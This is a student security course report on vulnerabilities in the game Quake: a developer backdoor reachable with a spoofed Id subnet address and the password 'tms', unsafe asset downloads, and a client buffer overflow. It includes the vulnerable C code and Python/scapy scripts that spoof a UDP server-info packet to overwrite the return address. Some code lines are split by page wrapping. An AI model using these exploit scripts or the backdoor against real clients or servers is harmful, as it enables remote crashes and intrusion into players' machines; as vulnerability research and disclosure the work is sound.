6.858 Security Final Project

David Bocek, Victoria Gunning, Louis Lamia

Breaking Quake

The video games industry has been the fastest growing entertainment industry of the past decade. Roughly 66% of US households report playing video games, and 91% of children ages 2-18 play games. Along with this rise in popularity, there has been a boom of online multiplayer gaming; with a rise in online gaming, there has been a rise of security risks and concerns attached to video games.

In the decades prior to the 2000's, there were not many attacks on game systems from a security perspective – this is mainly because games didn't have very much value attached to them and didn't offer much reward for breaking and because playing games over the internet was extremely uncommon. However, games have intimate connections with many valuable aspects of our lives today: games often store credit card and bank information for in-game purchases; there is a large market for purchasing hacked accounts of players with high rankings or hard earned items; competitive gaming has seen a huge rise in popularity, and cheating/sabotage has become much more damaging; most people play games on their personal computers or phones which can contain sensitive data. Clearly, the space of attack vectors for the games industry has increased dramatically, and the consequences of security failures have also grown.

The problem of games security is amplified by many of the insecure practices that are commonplace in games creation today. Almost all real-time multiplayer games have connection speed and the appearance of lag as their highest concern. As a result, nearly all networking for online games is done through unencrypted UDP, with little to no security checks end-to-end. Furthermore, clients of games usually assume that the only packets it can receive from a server connection follow the originally implemented protocol – these clients have no robustness in handling unexpected packet information, and often fail gracelessly or silently in unexpected ways when they receive this information. Often, this means clients are vulnerable to a DoS attack from an attacker who just sends ill formatted packets. In addition, most games with any sort of modding or custom mapping capabilities download and run mods or maps from any server, likely is run by another user, without any security checks on the files. Games usually run in no sandbox with administrator privileges on the machines they reside in. These two combined facts mean systems running games are also especially vulnerable to malware from other users and sometimes from the game creators themselves.

Many of these factors have combined to make games a particularly attractive attack vector into its users' computers. The biggest problems with games from a security standpoint is often not the ability to circumvent the game rules, but rather the use of the game as an access vector into the users' system. Game programming typically favors performance over all else, causing game developers to create games that run with broad permissions and often perform very little integrity checking. This means that games can often be the weakest link in the security of a system running them, allowing an attacker easy, and often silent access into the system. Games are also broadly deployed on a lot of systems, and so developing an exploit for a game can give an attacker access to a large number of systems.

As an exploration into these problems, our group looked to find and utilize exploits within a game system. We chose to attack the game *Quake*. We chose this game because it was one of the first implementations of the client-server game networking model which is by far the most prevalent model today, because it is moddable, open-source, and free, and because there are no risks of legal problems for attacking the game systems. Our experimentation revealed a number of dangerous vulnerabilities within the game. Perhaps most importantly, the vulnerabilities we found were in generalizable systems that have had many re-implementations in modern game development as opposed to vulnerabilities existing in *Quake*-specific or deprecated system designs.

Our three most interesting findings can best be described as being due to "dangerous back door access implementations", "unsafe file downloading", and "exploitable bugs vulnerable to network attacks".

Dangerous back door access implementations – The shipped server code still contains many cheats and development hacks. These are usually made inaccessible to users by conditions which require an IDGODS flag. However, the check for this flag is incredibly easy to overcome: all an attacker needs to do is to connect to a server claiming an IP belonging to the Id Software subnet and providing a specific password. Any console commands sent from the subnet 192.246.40.0/24 with the password "tms" are automatically executed under developer privileges on the server and go unlogged. Console commands run with the privileges of the game, which includes access to network ports and the ability to execute .cfg files and scripts. This could therefore be used to execute arbitrary commands on a victim's computer, simply by exploiting the privileges that the Quake server they are running has. This vulnerability also existed in Quake 2 and all idTech 1/2 powered games.

Unsafe file uploading/downloading – Like many games, Quake benefitted greatly by offering modding capabilities to users. Many great games started as standalone mods of *Quake*, perhaps most famously *Team Fortress*. Custom maps and mods were a huge reason *Quake*, and many online games today, became and remained popular. When connecting to a server, however, the server specifies a map and game assets only by string name. A client or server with a corrupted or malicious asset files (maps, models, sounds, etc.) of the same name will have those files loaded without any further check. As a convenience feature, most implementations of this idea since have servers automatically download any game files it is hosting to your computer or console that you don't already have. An attacker can easily run a server advertising a new texture, sound set, or map as long as the extension of the file is correct. This is an easy target way for malicious servers to upload malware to client computers and to get clients to execute arbitrary files under the permissions of the game process on their computer.

Exploitable bugs vulnerable to network attacks – Through careful examination of network traffic and code, we discovered a zero-day buffer overflow exploit of all Id-licensed *Quake* versions. During the initial client-server connection, the client requests general information from the server. In addition to game version, map name, etc, the client asks about what game models and sounds are loaded on the server for the map currently being run, and supplies a list of models and sounds the client already has loaded from its current level. Along with the other information, the server returns a sequence of strings representing the intersection of these values. Then, the client uses these values to "precache" assets so that it doesn't have to unload and reload any assets unnecessarily. This is a powerful optimization which is widely used today since it saves a substantial amount of loading time when the client is connecting to the server and loading game state. However, in *Quake*, the client copies the model and sound file names

over using an unsafe string copy method. The client trusts that the server would not send a string for the name of an asset that does not exist, and it relies on the fact that all asset paths fit in 64 characters or less. As a result, an attacker can send the client a server info packet containing an asset name which is larger than 64 characters and overflow the model precache or sound precache buffers.

For our example exploit, we chose to attack the model precache buffer, as it resided very close to the top of the stack frame in client memory. By supplying a number of legitimate model names and then supplying an oversized model name for the last 64 character block allocated to the model_precache[256][64] buffer, we were able to overwrite the return address of the function to our supplied value. In our case, we simply called the _exit syscall. This exploit can be done over the network, even on single-player games because *Quake* still uses the client-server model in single-player mode (it just runs a local server on the player's computer). All the attacker needs to do is to spoof a UDP packet to the victim's IP coming from the server IP with the malicious server info data payload. This exploit takes advantage of the unsafe memory operations done within the client, which exist because the client assumes a server would not send a false path name. This is obviously a silly assumption, especially since the client and server are communicated through unencrypted UDP packets.

Many modern games are still vulnerable to the above attacks, as the assumptions and system designs we took advantage of here are commonplace in multiplayer games.

Code

There was no code needed to exploit the IDGODS flag, and the ability gained is logless access to server commands which can allow cheating.

The false map (malicious clone of E1M1) we created changed the base sound (background music) in its entity file from "gfx/base.wad" to "gfx/baseAAAA….A.wad", causing a buffer overflow and crashing the game when the map is loaded.

The buffer we overflowed was in the client's method for parsing the server info packet, specifically the model precache. An unsafe strcpy operation is used and can be exploited to overflow the model_precache[256][64] buffer If a large model name is supplied near the end of the buffer. The snippet of bugged code, as well as a set of python scripts which can be used to generate malicious code in a packet which can be sent over the network to a remote client, are shown in the next pages.

```
// parse signon message
    str = MSG_ReadString ();
    strncpy (cl.levelname, str, sizeof(cl.levelname)-1);

// seperate the printfs so the server message can have a color
    Con_Printf("\n\n\35\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\
    Con_Printf ("%c%s\n", 2, str);

]//
// first we go through and touch all of the precache data that still
// happens to be in the cache, so precaching something else doesn't
// needlessly purge it
//

-// precache models
    memset (cl.model_precache, 0, sizeof(cl.model_precache));
    Con_Printf("Loading precached models... \n\n");
    for (nummodels=1 ; ; nummodels++)
    {
        str = MSG_ReadString ();        (terminates at null character, reads up to 2048 characters)

        if (!str[0]){
            break;
        }
        if (nummodels==MAX_MODELS)
        {
            Con_Printf ("Server sent too many model precaches\n");
            return;
        }



        strcpy (model_precache[nummodels], str);    (model_precache[nummodels] has 64 bytes of space)
        Mod_TouchModel (str);
    }
```

Test.py

```
from scapy.all import *
import sys
import packetGenerator

SERVER_IP = '192.168.189.131' #change this to the server's IP
SERVER_PORT = '26000'
CLIENT_IP = '192.168.189.1' #change this to the attacked IP
INTERFACE = 'eth10' #change this to the interface that you're
communicating over

sys.stdout = open('outfile.txt', 'w')

def parse(pkt):
    print pkt

evil_port = 0
sport = 0
dport = 0
```

```
def isQuake(pkt):
    if pkt.getlayer(IP) is not None:
        if str(pkt.getlayer(IP).src) == SERVER_IP:
            if str(pkt.getlayer(UDP).sport) == SERVER_PORT:
                # print pkt.getlayer(UDP).dport
                # print pkt.load
                # print pkt.load.encode('hex')
                port = pkt.load.encode('hex')[12:14] +
pkt.load.encode('hex')[10:12]
                global sport
                sport = pkt.getlayer(UDP).sport
                global dport
                dport = pkt.getlayer(UDP).dport
                # print(sport)
                # print(dport)
                global evil_port
                evil_port = int(str(port), 16)
                # print(evil_port)
                return True
    return False
pkts = sniff(filter='udp', lfilter=isQuake, iface=INTERFACE, count =3)
packet = IP(dst=CLIENT_IP,
src=SERVER_IP)/UDP(dport=dport,sport=evil_port)/packetGenerator.getexp
loit_string()
sendp(packet, iface=INTERFACE)
```

packetGenerator.py

```
import encodings

def getexploit_string():
    res = ""

    #copy over packet data to get to the 5precache models info, which
is what we are overrunning
    res += chr(8);  #svc_print cmd
    res +=  "2\nVERSION 1.09 SERVER (24778 CRC)" #versioning stuff
    res += chr(11)  #svc_serverinfo cmd
    res += str(long(15))    #protocl version
    res += chr(4)   #max clients
    res += chr(1)   #deathmatch
    #no server message

    #=== BUFFER OVERFLOW EXPLOIT ===
    #add in some strings of actual models, since we cannot fill the
model_precache[256][64] array
    #       with our 8000 char limit message
    for i in xrange(254):
        res += "PROGS/DOG.MDL\0"

    #make a string to overflow the last space, model_precache[255],
which only has room for 64 char
    overwrite_len = 72
```

```
    for i in xrange(overwrite_len):
        res += 'A';

    #overwrite ret addr with unexpected exit syscall which lives at
0x0144F6A4 = chars 0,68,246,164
    L = [1,68,246,164]
    res += ''.join(chr(c) for c in L)
    #==============================

    #could copy over remaining necessary packet data, but the server
just returns from our func if we dont send a proper packet
    #   this is totally fine, since we have already overwritten the
ret addr to screw things over

    return res

def getexploit_hex():
    return getexploit_string().encode("hex")
```